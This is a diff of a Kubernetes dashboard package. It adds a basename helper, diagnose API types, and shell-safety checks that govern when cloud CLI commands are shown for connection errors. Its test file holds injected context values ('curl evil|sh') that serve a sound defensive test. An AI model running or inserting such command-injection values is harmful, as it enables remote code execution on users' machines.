@skyhook-io/radar-app 1.9.0 → 1.9.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +7 -7
- package/src/App.tsx +69 -16
- package/src/api/apiResources.test.ts +11 -0
- package/src/api/apiResources.ts +51 -12
- package/src/api/client.capacity.test.ts +92 -0
- package/src/api/client.ts +2905 -2081
- package/src/api/config.test.ts +47 -0
- package/src/api/config.ts +15 -0
- package/src/api/diagnose.ts +15 -15
- package/src/components/ConnectionErrorView.test.tsx +88 -0
- package/src/components/ConnectionErrorView.tsx +128 -22
- package/src/components/capacity/CapacityActivity.tsx +787 -0
- package/src/components/capacity/CapacityDemand.tsx +961 -0
- package/src/components/capacity/CapacityOverview.tsx +1529 -0
- package/src/components/capacity/CapacityPoolDetail.tsx +1626 -0
- package/src/components/capacity/CapacityView.test.tsx +2287 -0
- package/src/components/capacity/CapacityView.tsx +85 -0
- package/src/components/capacity/ClusterSchedulingCard.tsx +603 -0
- package/src/components/capacity/DemandNomination.test.tsx +151 -0
- package/src/components/capacity/certaintyGlyph.test.tsx +191 -0
- package/src/components/capacity/coverageCertainty.test.ts +162 -0
- package/src/components/capacity/podDemandGate.test.ts +47 -0
- package/src/components/capacity/podDemandGate.ts +22 -0
- package/src/components/capacity/schedulingBar.test.ts +244 -0
- package/src/components/capacity/shared.tsx +1841 -0
- package/src/components/diagnose/AISettings.tsx +21 -7
- package/src/components/diagnose/AgentSetupNotice.tsx +117 -0
- package/src/components/diagnose/DiagnoseContext.tsx +127 -57
- package/src/components/diagnose/DiagnoseSurface.tsx +33 -15
- package/src/components/diagnose/LocalDiagnoseAction.tsx +50 -27
- package/src/components/diagnose/agentCatalog.ts +30 -0
- package/src/components/diagnose/parts.test.tsx +125 -0
- package/src/components/diagnose/parts.tsx +166 -75
- package/src/components/home/CapacityCard.test.tsx +150 -0
- package/src/components/home/CapacityCard.tsx +125 -0
- package/src/components/home/HomeView.tsx +15 -1
- package/src/components/issues/IssuesPane.test.ts +142 -0
- package/src/components/issues/IssuesPane.tsx +142 -38
- package/src/components/nav/PrimaryNavRail.test.tsx +20 -0
- package/src/components/nav/PrimaryNavRail.tsx +191 -103
- package/src/components/resources/ResourcesView.tsx +9 -8
- package/src/components/resources/renderers/KarpenterNodePoolRenderer.tsx +29 -1
- package/src/components/resources/renderers/PodRenderer.tsx +32 -3
- package/src/components/settings/SettingsDialog.tsx +31 -19
- package/src/components/timeline/TimelineView.tsx +17 -3
- package/src/components/ui/command-items.ts +222 -98
- package/src/components/workload/WorkloadView.tsx +16 -83
- package/src/context/ConnectionContext.test.ts +39 -0
- package/src/context/ConnectionContext.tsx +155 -51
- package/src/context/DiagnoseCustomization.tsx +1 -1
- package/src/utils/shell-safe.test.ts +55 -0
- package/src/utils/shell-safe.ts +21 -0
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
import { describe, expect, it, afterEach } from 'vitest'
|
|
2
|
+
|
|
3
|
+
import { setBasename, stripBasename, routePath } from './config'
|
|
4
|
+
|
|
5
|
+
// setBasename mutates module state — restore standalone default after each test.
|
|
6
|
+
afterEach(() => {
|
|
7
|
+
setBasename('')
|
|
8
|
+
})
|
|
9
|
+
|
|
10
|
+
describe('stripBasename', () => {
|
|
11
|
+
it('passes paths through unchanged when no basename is configured', () => {
|
|
12
|
+
expect(stripBasename('/resources/pods')).toBe('/resources/pods')
|
|
13
|
+
expect(stripBasename('/')).toBe('/')
|
|
14
|
+
})
|
|
15
|
+
|
|
16
|
+
it('strips a configured basename prefix', () => {
|
|
17
|
+
setBasename('/c/abc')
|
|
18
|
+
expect(stripBasename('/c/abc/resources/pods')).toBe('/resources/pods')
|
|
19
|
+
expect(stripBasename('/c/abc/timeline?range=1h')).toBe('/timeline?range=1h')
|
|
20
|
+
})
|
|
21
|
+
|
|
22
|
+
it('maps the bare basename to root', () => {
|
|
23
|
+
setBasename('/c/abc')
|
|
24
|
+
expect(stripBasename('/c/abc')).toBe('/')
|
|
25
|
+
})
|
|
26
|
+
|
|
27
|
+
it('strips when the basename is followed directly by a query string', () => {
|
|
28
|
+
setBasename('/c/abc')
|
|
29
|
+
expect(stripBasename('/c/abc?tab=events')).toBe('?tab=events')
|
|
30
|
+
})
|
|
31
|
+
|
|
32
|
+
it('leaves basename-relative paths unchanged (idempotent)', () => {
|
|
33
|
+
setBasename('/c/abc')
|
|
34
|
+
expect(stripBasename('/resources/pods')).toBe('/resources/pods')
|
|
35
|
+
expect(stripBasename(stripBasename('/c/abc/resources/pods'))).toBe('/resources/pods')
|
|
36
|
+
})
|
|
37
|
+
|
|
38
|
+
it('does not strip a path that merely shares a string prefix', () => {
|
|
39
|
+
setBasename('/c/abc')
|
|
40
|
+
expect(stripBasename('/c/abcdef/resources')).toBe('/c/abcdef/resources')
|
|
41
|
+
})
|
|
42
|
+
|
|
43
|
+
it('inverts routePath', () => {
|
|
44
|
+
setBasename('/c/abc')
|
|
45
|
+
expect(stripBasename(routePath('/auth/login'))).toBe('/auth/login')
|
|
46
|
+
})
|
|
47
|
+
})
|
package/src/api/config.ts
CHANGED
|
@@ -64,6 +64,21 @@ export function routePath(path: string): string {
|
|
|
64
64
|
return prefix + path;
|
|
65
65
|
}
|
|
66
66
|
|
|
67
|
+
/**
|
|
68
|
+
* Inverse of `routePath`: strips the configured basename from a window-level
|
|
69
|
+
* path so it can be handed to React Router's navigate(), which re-applies the
|
|
70
|
+
* basename. Passing an already-prefixed path to navigate() doubles the prefix
|
|
71
|
+
* (e.g. /c/abc/c/abc/...). Basename-relative paths pass through unchanged.
|
|
72
|
+
*/
|
|
73
|
+
export function stripBasename(path: string): string {
|
|
74
|
+
const prefix = basename;
|
|
75
|
+
if (!prefix) return path;
|
|
76
|
+
if (path === prefix || path.startsWith(prefix + '/') || path.startsWith(prefix + '?')) {
|
|
77
|
+
return path.slice(prefix.length) || '/';
|
|
78
|
+
}
|
|
79
|
+
return path;
|
|
80
|
+
}
|
|
81
|
+
|
|
67
82
|
/**
|
|
68
83
|
* Builds a WebSocket URL for a given API path.
|
|
69
84
|
*
|
package/src/api/diagnose.ts
CHANGED
|
@@ -10,17 +10,26 @@ export interface AgentInfo {
|
|
|
10
10
|
version: string;
|
|
11
11
|
present: boolean;
|
|
12
12
|
supported: boolean;
|
|
13
|
+
profiles?: ExecutionProfile[];
|
|
14
|
+
consentSurfaces?: Partial<Record<ExecutionProfile, string>>;
|
|
13
15
|
hosted?: boolean;
|
|
14
16
|
}
|
|
15
17
|
|
|
16
18
|
export interface AgentsResponse {
|
|
17
19
|
agents: AgentInfo[];
|
|
18
20
|
enabled: boolean;
|
|
21
|
+
// eligible: this run mode supports local BYO-agent diagnosis (no proxy/OIDC
|
|
22
|
+
// auth, /mcp mounted) — true even when no agent is installed. Lets the UI tell
|
|
23
|
+
// "install an agent to enable this" (eligible && !enabled) apart from "not
|
|
24
|
+
// available here" (auth/cloud/--no-mcp). Absent on older servers / embed hosts.
|
|
25
|
+
eligible?: boolean;
|
|
19
26
|
// Machine-scoped consent per disclosure surface, recorded server-side
|
|
20
27
|
// (~/.radar) — one acknowledgment covers the web panel and the CLI.
|
|
21
|
-
consented?:
|
|
28
|
+
consented?: Record<string, boolean>;
|
|
22
29
|
}
|
|
23
30
|
|
|
31
|
+
export type ExecutionProfile = "safeguarded" | "full-local";
|
|
32
|
+
|
|
24
33
|
export interface DiagnoseStep {
|
|
25
34
|
id: string;
|
|
26
35
|
tool: string;
|
|
@@ -64,14 +73,7 @@ export interface ResourceHealthSignal {
|
|
|
64
73
|
}
|
|
65
74
|
|
|
66
75
|
export interface DiagnoseStreamEvent {
|
|
67
|
-
type:
|
|
68
|
-
| "turn"
|
|
69
|
-
| "phase"
|
|
70
|
-
| "step"
|
|
71
|
-
| "thinking"
|
|
72
|
-
| "done"
|
|
73
|
-
| "error"
|
|
74
|
-
| "closed";
|
|
76
|
+
type: "turn" | "phase" | "step" | "thinking" | "done" | "error" | "closed";
|
|
75
77
|
phase?: string;
|
|
76
78
|
step?: DiagnoseStep;
|
|
77
79
|
token?: string;
|
|
@@ -91,7 +93,7 @@ export interface RunSummary {
|
|
|
91
93
|
name: string;
|
|
92
94
|
context: string;
|
|
93
95
|
agent?: string; // backend CLI that drove this run ("claude"/"codex")
|
|
94
|
-
|
|
96
|
+
profile?: ExecutionProfile;
|
|
95
97
|
model?: string;
|
|
96
98
|
effort?: string;
|
|
97
99
|
managedBy?: string; // GitOps/Helm owner of the target ("Argo CD"/"Flux"/"Helm"), for the Apply warning
|
|
@@ -145,7 +147,7 @@ export async function createRun(
|
|
|
145
147
|
},
|
|
146
148
|
opts?: {
|
|
147
149
|
agent?: string;
|
|
148
|
-
|
|
150
|
+
profile?: ExecutionProfile;
|
|
149
151
|
model?: string;
|
|
150
152
|
effort?: string;
|
|
151
153
|
},
|
|
@@ -179,10 +181,8 @@ export async function listRuns(signal?: AbortSignal): Promise<RunsResponse> {
|
|
|
179
181
|
return { runs: d.runs ?? [], historyDegraded: !!d.historyDegraded };
|
|
180
182
|
}
|
|
181
183
|
|
|
182
|
-
// recordConsent acknowledges the current disclosure for
|
|
183
|
-
export async function recordConsent(
|
|
184
|
-
surface: "standard" | "cursor",
|
|
185
|
-
): Promise<void> {
|
|
184
|
+
// recordConsent acknowledges the current disclosure for an execution profile, server-side.
|
|
185
|
+
export async function recordConsent(surface: string): Promise<void> {
|
|
186
186
|
const res = await fetch(`${getApiBase()}/diagnose/consent`, {
|
|
187
187
|
method: "POST",
|
|
188
188
|
credentials: getCredentialsMode(),
|
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
import { renderToStaticMarkup } from 'react-dom/server'
|
|
2
|
+
import type { ReactNode } from 'react'
|
|
3
|
+
import { describe, expect, it, vi } from 'vitest'
|
|
4
|
+
|
|
5
|
+
vi.stubGlobal('window', { location: { host: 'localhost:9280' } })
|
|
6
|
+
|
|
7
|
+
vi.mock('@skyhook-io/k8s-ui', () => ({
|
|
8
|
+
ClusterName: ({ name }: { name: string }) => <span>{name}</span>,
|
|
9
|
+
useOpenLocalTerminal: () => vi.fn(),
|
|
10
|
+
}))
|
|
11
|
+
vi.mock('../api/client', () => ({
|
|
12
|
+
useAuthMe: () => ({ data: { authEnabled: false } }),
|
|
13
|
+
}))
|
|
14
|
+
vi.mock('./ContextSwitcher', () => ({
|
|
15
|
+
ContextSwitcher: () => <button>Switch context</button>,
|
|
16
|
+
}))
|
|
17
|
+
vi.mock('./ui/Tooltip', () => ({
|
|
18
|
+
Tooltip: ({ children }: { children: ReactNode }) => children,
|
|
19
|
+
}))
|
|
20
|
+
|
|
21
|
+
import {
|
|
22
|
+
ConnectionErrorView,
|
|
23
|
+
CopyableCommand,
|
|
24
|
+
getAuthRejectedHints,
|
|
25
|
+
selectConnectionHints,
|
|
26
|
+
} from './ConnectionErrorView'
|
|
27
|
+
|
|
28
|
+
function renderError(errorType: string, context: string): string {
|
|
29
|
+
return renderToStaticMarkup(
|
|
30
|
+
<ConnectionErrorView
|
|
31
|
+
connection={{ state: 'disconnected', context, errorType, error: 'safe error' }}
|
|
32
|
+
onRetry={() => {}}
|
|
33
|
+
isRetrying={false}
|
|
34
|
+
/>,
|
|
35
|
+
)
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
describe('ConnectionErrorView authentication guidance', () => {
|
|
39
|
+
it('builds an honest EKS diagnostic without presenting it as authentication', () => {
|
|
40
|
+
const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
|
|
41
|
+
const hints = getAuthRejectedHints(context)
|
|
42
|
+
const markup = renderError('auth-rejected', context)
|
|
43
|
+
|
|
44
|
+
expect(hints.authCommand?.command).toBe(
|
|
45
|
+
'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
|
|
46
|
+
)
|
|
47
|
+
expect(hints.hideAuthButton).toBe(true)
|
|
48
|
+
expect(markup).toContain('EKS Could Not Authenticate This Request')
|
|
49
|
+
expect(markup).not.toContain('Authenticate in terminal')
|
|
50
|
+
})
|
|
51
|
+
|
|
52
|
+
it('does not offer interpolated commands for hostile EKS context values', () => {
|
|
53
|
+
const hints = getAuthRejectedHints('arn:aws:eks:us-east-1;curl evil|sh:123456789012:cluster/prod')
|
|
54
|
+
|
|
55
|
+
expect(hints.authCommand).toBeUndefined()
|
|
56
|
+
expect(hints.hideAuthButton).toBeUndefined()
|
|
57
|
+
expect(hints.fallbackCommand?.command).toBe('aws sso login')
|
|
58
|
+
})
|
|
59
|
+
|
|
60
|
+
it('does not offer interpolated commands for hostile GKE context values', () => {
|
|
61
|
+
const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
|
|
62
|
+
|
|
63
|
+
expect(hints.authCommand?.command).toBe('gcloud auth login')
|
|
64
|
+
expect(hints.fallbackCommand).toBeUndefined()
|
|
65
|
+
})
|
|
66
|
+
|
|
67
|
+
it('selects dedicated guidance for a stuck credential plugin', () => {
|
|
68
|
+
expect(selectConnectionHints('auth-plugin-stuck', 'eks-context')?.title).toBe('Credential Plugin Stopped Responding')
|
|
69
|
+
|
|
70
|
+
const markup = renderError('auth-plugin-stuck', 'eks-context')
|
|
71
|
+
expect(markup).toContain('Credential Plugin Stopped Responding')
|
|
72
|
+
expect(markup).not.toContain('aws sso login')
|
|
73
|
+
})
|
|
74
|
+
|
|
75
|
+
it('renders placeholder AKS commands without a run affordance', () => {
|
|
76
|
+
const markup = renderError('auth-rejected', 'clusterUser_platform_prod')
|
|
77
|
+
|
|
78
|
+
expect(markup.match(/aria-label="Run command in terminal"/g)).toHaveLength(1)
|
|
79
|
+
expect(markup).toContain('<cluster>')
|
|
80
|
+
expect(markup).toContain('<rg>')
|
|
81
|
+
})
|
|
82
|
+
|
|
83
|
+
it('renders copy-only commands without a run affordance', () => {
|
|
84
|
+
const markup = renderToStaticMarkup(<CopyableCommand command="placeholder" />)
|
|
85
|
+
|
|
86
|
+
expect(markup).not.toContain('aria-label="Run command in terminal"')
|
|
87
|
+
})
|
|
88
|
+
})
|
|
@@ -6,6 +6,7 @@ import { parseContextName } from '../utils/context-name'
|
|
|
6
6
|
import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
|
|
7
7
|
import { useAuthMe } from '../api/client'
|
|
8
8
|
import { Tooltip } from './ui/Tooltip'
|
|
9
|
+
import { allShellSafe } from '../utils/shell-safe'
|
|
9
10
|
|
|
10
11
|
interface ConnectionErrorViewProps {
|
|
11
12
|
connection: ConnectionState
|
|
@@ -13,13 +14,21 @@ interface ConnectionErrorViewProps {
|
|
|
13
14
|
isRetrying: boolean
|
|
14
15
|
}
|
|
15
16
|
|
|
17
|
+
interface CommandHint {
|
|
18
|
+
label: string
|
|
19
|
+
command: string
|
|
20
|
+
runnable?: boolean
|
|
21
|
+
}
|
|
22
|
+
|
|
16
23
|
interface AuthHints {
|
|
17
24
|
title: string
|
|
18
25
|
hints: string[]
|
|
19
26
|
/** Primary auth command — usually sufficient on its own */
|
|
20
|
-
authCommand?:
|
|
27
|
+
authCommand?: CommandHint
|
|
21
28
|
/** Secondary command shown as fallback if primary doesn't resolve the issue */
|
|
22
|
-
fallbackCommand?:
|
|
29
|
+
fallbackCommand?: CommandHint
|
|
30
|
+
/** Set when authCommand is a diagnostic rather than a re-auth — suppresses the "Authenticate in terminal" button */
|
|
31
|
+
hideAuthButton?: boolean
|
|
23
32
|
}
|
|
24
33
|
|
|
25
34
|
function getAuthHints(context: string): AuthHints {
|
|
@@ -32,7 +41,7 @@ function getAuthHints(context: string): AuthHints {
|
|
|
32
41
|
hints: ['Radar could not get Google Cloud credentials for this context.'],
|
|
33
42
|
authCommand: { label: 'Refresh Google Cloud credentials:', command: 'gcloud auth login' },
|
|
34
43
|
}
|
|
35
|
-
if (parsed.region && parsed.account) {
|
|
44
|
+
if (parsed.region && parsed.account && allShellSafe(parsed.clusterName, parsed.region, parsed.account)) {
|
|
36
45
|
const isZone = /^[a-z]+-[a-z]+\d+-[a-z]$/.test(parsed.region)
|
|
37
46
|
const flag = isZone ? '--zone' : '--region'
|
|
38
47
|
result.fallbackCommand = {
|
|
@@ -51,7 +60,7 @@ function getAuthHints(context: string): AuthHints {
|
|
|
51
60
|
],
|
|
52
61
|
authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: 'aws sso login' },
|
|
53
62
|
}
|
|
54
|
-
if (parsed.region) {
|
|
63
|
+
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
|
|
55
64
|
result.fallbackCommand = {
|
|
56
65
|
label: 'If that doesn\'t work, refresh cluster credentials:',
|
|
57
66
|
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
|
|
@@ -64,7 +73,7 @@ function getAuthHints(context: string): AuthHints {
|
|
|
64
73
|
title: 'AKS Authentication Failed',
|
|
65
74
|
hints: ['Radar could not get Azure credentials for this context.'],
|
|
66
75
|
authCommand: { label: 'Refresh Azure credentials:', command: 'az login' },
|
|
67
|
-
fallbackCommand: { label: 'If that doesn\'t work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>' },
|
|
76
|
+
fallbackCommand: { label: 'If that doesn\'t work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>', runnable: false },
|
|
68
77
|
}
|
|
69
78
|
default:
|
|
70
79
|
return {
|
|
@@ -77,6 +86,85 @@ function getAuthHints(context: string): AuthHints {
|
|
|
77
86
|
}
|
|
78
87
|
}
|
|
79
88
|
|
|
89
|
+
export function getAuthRejectedHints(context: string): AuthHints {
|
|
90
|
+
const parsed = parseContextName(context)
|
|
91
|
+
|
|
92
|
+
switch (parsed.provider) {
|
|
93
|
+
case 'EKS': {
|
|
94
|
+
const result: AuthHints = {
|
|
95
|
+
title: 'EKS Could Not Authenticate This Request',
|
|
96
|
+
hints: [
|
|
97
|
+
'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
|
|
98
|
+
'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
|
|
99
|
+
'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
|
|
100
|
+
'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
|
|
101
|
+
'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
|
|
102
|
+
],
|
|
103
|
+
fallbackCommand: { label: 'If this context uses the current AWS SSO profile, re-login and retry:', command: 'aws sso login' },
|
|
104
|
+
}
|
|
105
|
+
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
|
|
106
|
+
result.authCommand = {
|
|
107
|
+
label: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
|
|
108
|
+
command: `aws sts get-caller-identity && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region} --query cluster.accessConfig.authenticationMode --output text`,
|
|
109
|
+
}
|
|
110
|
+
// A diagnostic, not a re-auth — the "Authenticate in terminal" button
|
|
111
|
+
// would misrepresent what running it does.
|
|
112
|
+
result.hideAuthButton = true
|
|
113
|
+
}
|
|
114
|
+
return result
|
|
115
|
+
}
|
|
116
|
+
case 'GKE': {
|
|
117
|
+
const result: AuthHints = {
|
|
118
|
+
title: 'GKE Could Not Authenticate This Request',
|
|
119
|
+
hints: [
|
|
120
|
+
'GKE returned HTTP 401, so Kubernetes could not authenticate this request.',
|
|
121
|
+
'The credential or auth plugin may be missing or misconfigured, or the OAuth token may be stale or revoked.',
|
|
122
|
+
],
|
|
123
|
+
authCommand: { label: 'Refresh Google Cloud credentials:', command: 'gcloud auth login' },
|
|
124
|
+
}
|
|
125
|
+
if (parsed.region && parsed.account && allShellSafe(parsed.clusterName, parsed.region, parsed.account)) {
|
|
126
|
+
const isZone = /^[a-z]+-[a-z]+\d+-[a-z]$/.test(parsed.region)
|
|
127
|
+
const flag = isZone ? '--zone' : '--region'
|
|
128
|
+
result.fallbackCommand = {
|
|
129
|
+
label: 'If that doesn\'t work, refresh cluster credentials:',
|
|
130
|
+
command: `gcloud container clusters get-credentials ${parsed.clusterName} ${flag} ${parsed.region} --project ${parsed.account}`,
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
return result
|
|
134
|
+
}
|
|
135
|
+
case 'AKS':
|
|
136
|
+
return {
|
|
137
|
+
title: 'AKS Could Not Authenticate This Request',
|
|
138
|
+
hints: [
|
|
139
|
+
'AKS returned HTTP 401, so Kubernetes could not authenticate this request.',
|
|
140
|
+
'The credential may be missing, stale, or revoked — re-authenticating usually resolves this.',
|
|
141
|
+
],
|
|
142
|
+
authCommand: { label: 'Refresh Azure credentials:', command: 'az login' },
|
|
143
|
+
fallbackCommand: { label: 'If that doesn\'t work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>', runnable: false },
|
|
144
|
+
}
|
|
145
|
+
default:
|
|
146
|
+
return {
|
|
147
|
+
title: 'Kubernetes Could Not Authenticate This Request',
|
|
148
|
+
hints: [
|
|
149
|
+
'The Kubernetes API returned HTTP 401, so it could not authenticate this request.',
|
|
150
|
+
'The kubeconfig user may not have supplied a credential, or its credential may be expired or revoked.',
|
|
151
|
+
'If the cluster maps identities explicitly, the principal used by this context may not be mapped yet.',
|
|
152
|
+
],
|
|
153
|
+
}
|
|
154
|
+
}
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
function getAuthPluginStuckHints(): AuthHints {
|
|
158
|
+
return {
|
|
159
|
+
title: 'Credential Plugin Stopped Responding',
|
|
160
|
+
hints: [
|
|
161
|
+
'The credential command configured by this kubeconfig did not return before the deadline.',
|
|
162
|
+
'Check that your cloud-provider CLI and its identity-provider or network dependencies are responsive.',
|
|
163
|
+
'Radar will keep checking in the background and reconnect when the credential command recovers.',
|
|
164
|
+
],
|
|
165
|
+
}
|
|
166
|
+
}
|
|
167
|
+
|
|
80
168
|
function getTimeoutHints(context: string): AuthHints | null {
|
|
81
169
|
const parsed = parseContextName(context)
|
|
82
170
|
const baseHints = [
|
|
@@ -91,7 +179,7 @@ function getTimeoutHints(context: string): AuthHints | null {
|
|
|
91
179
|
hints: [...baseHints, 'If the endpoint is reachable, Google Cloud credentials may need refresh.'],
|
|
92
180
|
authCommand: { label: 'If network access looks healthy, refresh Google Cloud credentials:', command: 'gcloud auth login' },
|
|
93
181
|
}
|
|
94
|
-
if (parsed.region && parsed.account) {
|
|
182
|
+
if (parsed.region && parsed.account && allShellSafe(parsed.clusterName, parsed.region, parsed.account)) {
|
|
95
183
|
const isZone = /^[a-z]+-[a-z]+\d+-[a-z]$/.test(parsed.region)
|
|
96
184
|
const flag = isZone ? '--zone' : '--region'
|
|
97
185
|
result.fallbackCommand = {
|
|
@@ -107,7 +195,7 @@ function getTimeoutHints(context: string): AuthHints | null {
|
|
|
107
195
|
hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
|
|
108
196
|
authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: 'aws sso login' },
|
|
109
197
|
}
|
|
110
|
-
if (parsed.region) {
|
|
198
|
+
if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
|
|
111
199
|
result.fallbackCommand = {
|
|
112
200
|
label: 'If that does not work, refresh cluster credentials:',
|
|
113
201
|
command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
|
|
@@ -120,7 +208,7 @@ function getTimeoutHints(context: string): AuthHints | null {
|
|
|
120
208
|
title: 'Connection Timed Out',
|
|
121
209
|
hints: [...baseHints, 'If the endpoint is reachable, Azure credentials may need refresh.'],
|
|
122
210
|
authCommand: { label: 'If network access looks healthy, refresh Azure credentials:', command: 'az login' },
|
|
123
|
-
fallbackCommand: { label: 'If that does not work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>' },
|
|
211
|
+
fallbackCommand: { label: 'If that does not work, refresh cluster credentials:', command: 'az aks get-credentials --name <cluster> --resource-group <rg>', runnable: false },
|
|
124
212
|
}
|
|
125
213
|
default:
|
|
126
214
|
return null
|
|
@@ -157,8 +245,9 @@ const errorHints: Record<string, { title: string; hints: string[] }> = {
|
|
|
157
245
|
tls: {
|
|
158
246
|
title: 'Certificate Error',
|
|
159
247
|
hints: [
|
|
160
|
-
'Radar reached the Kubernetes API, but
|
|
161
|
-
'
|
|
248
|
+
'Radar reached the Kubernetes API, but the TLS handshake failed',
|
|
249
|
+
'If the error mentions "bad certificate" or "certificate required", the cluster rejected Radar\'s client certificate — it may have expired (kubeadm certs expire after a year). Renew it (e.g. kubeadm certs renew) or re-download the kubeconfig',
|
|
250
|
+
'Otherwise check the kubeconfig cluster server hostname and certificate-authority settings',
|
|
162
251
|
'If this cluster intentionally uses a private CA, refresh the kubeconfig for this context',
|
|
163
252
|
],
|
|
164
253
|
},
|
|
@@ -181,7 +270,7 @@ const errorHints: Record<string, { title: string; hints: string[] }> = {
|
|
|
181
270
|
},
|
|
182
271
|
}
|
|
183
272
|
|
|
184
|
-
function CopyableCommand({ command, onRunInTerminal }: { command: string; onRunInTerminal?: (command: string) => void }) {
|
|
273
|
+
export function CopyableCommand({ command, onRunInTerminal }: { command: string; onRunInTerminal?: (command: string) => void }) {
|
|
185
274
|
const [copied, setCopied] = useState(false)
|
|
186
275
|
const commandParts = command.split(/(\s+)/)
|
|
187
276
|
|
|
@@ -231,15 +320,28 @@ function CopyableCommand({ command, onRunInTerminal }: { command: string; onRunI
|
|
|
231
320
|
)
|
|
232
321
|
}
|
|
233
322
|
|
|
323
|
+
export function selectConnectionHints(errorType: string | undefined, context: string): AuthHints | null {
|
|
324
|
+
switch (errorType) {
|
|
325
|
+
case 'auth':
|
|
326
|
+
return getAuthHints(context)
|
|
327
|
+
case 'auth-rejected':
|
|
328
|
+
return getAuthRejectedHints(context)
|
|
329
|
+
case 'auth-plugin-stuck':
|
|
330
|
+
return getAuthPluginStuckHints()
|
|
331
|
+
case 'timeout':
|
|
332
|
+
return getTimeoutHints(context)
|
|
333
|
+
default:
|
|
334
|
+
return null
|
|
335
|
+
}
|
|
336
|
+
}
|
|
337
|
+
|
|
234
338
|
export function ConnectionErrorView({ connection, onRetry, isRetrying }: ConnectionErrorViewProps) {
|
|
235
339
|
// For auth errors, generate context-aware hints with a specific re-auth command
|
|
236
340
|
const isAuth = connection.errorType === 'auth'
|
|
237
|
-
const
|
|
238
|
-
const
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
? getTimeoutHints(connection.context || '')
|
|
242
|
-
: null
|
|
341
|
+
const isAuthRejected = connection.errorType === 'auth-rejected'
|
|
342
|
+
const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
|
|
343
|
+
const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
|
|
344
|
+
const commandInfo = selectConnectionHints(connection.errorType, connection.context || '')
|
|
243
345
|
const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
|
|
244
346
|
const openLocalTerminal = useOpenLocalTerminal()
|
|
245
347
|
const { data: authMe } = useAuthMe()
|
|
@@ -315,8 +417,8 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
|
|
|
315
417
|
{commandInfo?.authCommand && (
|
|
316
418
|
<div className="mt-3">
|
|
317
419
|
<p className="text-xs text-theme-text-tertiary">{commandInfo.authCommand.label}</p>
|
|
318
|
-
<CopyableCommand command={commandInfo.authCommand.command} onRunInTerminal={handleRunInTerminal} />
|
|
319
|
-
{
|
|
420
|
+
<CopyableCommand command={commandInfo.authCommand.command} onRunInTerminal={commandInfo.authCommand.runnable === false ? undefined : handleRunInTerminal} />
|
|
421
|
+
{isAuthError && !commandInfo?.hideAuthButton && commandInfo.authCommand.runnable !== false && (
|
|
320
422
|
<button
|
|
321
423
|
onClick={handleAuthInTerminal}
|
|
322
424
|
className="mt-3 w-full inline-flex items-center justify-center gap-2 px-3 py-2 text-xs font-medium btn-brand rounded-md"
|
|
@@ -330,7 +432,7 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
|
|
|
330
432
|
{commandInfo?.fallbackCommand && (
|
|
331
433
|
<div className="mt-4 pt-3 border-t border-theme-border/50">
|
|
332
434
|
<p className="text-xs text-theme-text-tertiary">{commandInfo.fallbackCommand.label}</p>
|
|
333
|
-
<CopyableCommand command={commandInfo.fallbackCommand.command} onRunInTerminal={handleRunInTerminal} />
|
|
435
|
+
<CopyableCommand command={commandInfo.fallbackCommand.command} onRunInTerminal={commandInfo.fallbackCommand.runnable === false ? undefined : handleRunInTerminal} />
|
|
334
436
|
</div>
|
|
335
437
|
)}
|
|
336
438
|
{connection.error && (
|
|
@@ -380,9 +482,13 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
|
|
|
380
482
|
{connection.errorType !== 'config' && <ContextSwitcher triggerName="Switch context" />}
|
|
381
483
|
</div>
|
|
382
484
|
|
|
383
|
-
{
|
|
485
|
+
{isAuthError && (
|
|
384
486
|
<p className="mt-4 text-xs text-theme-text-tertiary">
|
|
385
|
-
|
|
487
|
+
{isAuthRejected
|
|
488
|
+
? 'Radar re-checks in the background — access changes are picked up automatically. Use Retry Connection to check immediately.'
|
|
489
|
+
: isAuthPluginStuck
|
|
490
|
+
? 'Radar re-checks in the background and reconnects when the credential plugin responds. Use Retry Connection to check immediately.'
|
|
491
|
+
: 'Radar re-checks in the background and reconnects once credentials are refreshed. Use Retry Connection to check immediately.'}
|
|
386
492
|
</p>
|
|
387
493
|
)}
|
|
388
494
|
</div>
|